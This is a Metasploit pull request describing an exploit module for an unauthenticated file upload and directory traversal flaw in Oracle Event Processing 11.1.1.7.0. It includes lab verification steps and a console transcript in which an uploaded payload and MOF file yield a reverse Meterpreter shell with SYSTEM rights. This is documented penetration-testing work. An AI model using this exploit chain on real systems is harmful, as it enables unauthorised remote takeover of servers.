rapid7/metasploit-framework — pull request #3480 by jvazquez-r7 (2014-06-29 20:56:17+00:00)
Title: Add module for ZDI-14-106, Oracle Event Processing

This module exploits an Arbitrary File Upload vulnerability in Oracle Event Processing 11.1.1.7.0. The vulnerability exists in the FileUploadServlet, where an arbitrary file can be uploaded without authentication, and due to a directory traversal, to an arbitrary location. By default Oracle Event Processing uses a Jetty Application Server with JSP support not configured. Because of it, this module only targets Windows 2003 SP2, where the WMI service can be abused to convert the file upload into remote code execution without user interaction.

Verification
-------

- [ ] Install Windows 2003 SP2
- [ ] Download Oracle Event Processing 11.1.1.7.0 for Windows and install. I'm not sure if the installer is available anymore from Oracle. Ask me if you are at r7 and need the installer.
- [ ] Configure a new domain by using "Start - All Programs - Oracle Event Processing 11gR1 - Tools - Configuration Wizard".
- [ ] Once the new domain is ready start Oracle Event Processing from a CMD, (1) go to ```C:\Oracle\Middleware\user_projects\domains\\defaultserver``` (2) run ```startwlevs.cmd```
- [ ] Verify which the app listens on ports 9002 (http) and 9003 (https).
- [ ] Run the module like in the demo, you should enjoy session

```
msf > use exploit/windows/http/oracle_event_processing_upload
msf exploit(oracle_event_processing_upload) > set rhost 172.16.158.198
rhost => 172.16.158.198
msf exploit(oracle_event_processing_upload) > check
[*] 172.16.158.198:9002 - The target service is running, but could not be validated.
msf exploit(oracle_event_processing_upload) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] 172.16.158.198:9002 - Generating payload and mof file...
[*] 172.16.158.198:9002 - Uploading the exe payload hENIwUPM.exe...
[*] 172.16.158.198:9002 - Uploading the MOF file LfXKK.mof
[*] Sending stage (769536 bytes) to 172.16.158.198
[*] Meterpreter session 5 opened (172.16.158.1:4444 -> 172.16.158.198:1052) at 2014-06-29 15:42:37 -0500
[+] Deleted wbem/mof/good/LfXKK.mof
[!] This exploit may require manual cleanup of 'hENIwUPM.exe' on the target

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : JUAN-6ED9DB6CA8
OS : Windows .NET Server (Build 3790, Service Pack 2).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
emeterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.16.158.198 - Meterpreter session 5 closed. Reason: User exit
msf exploit(oracle_event_processing_upload) > exit -y
```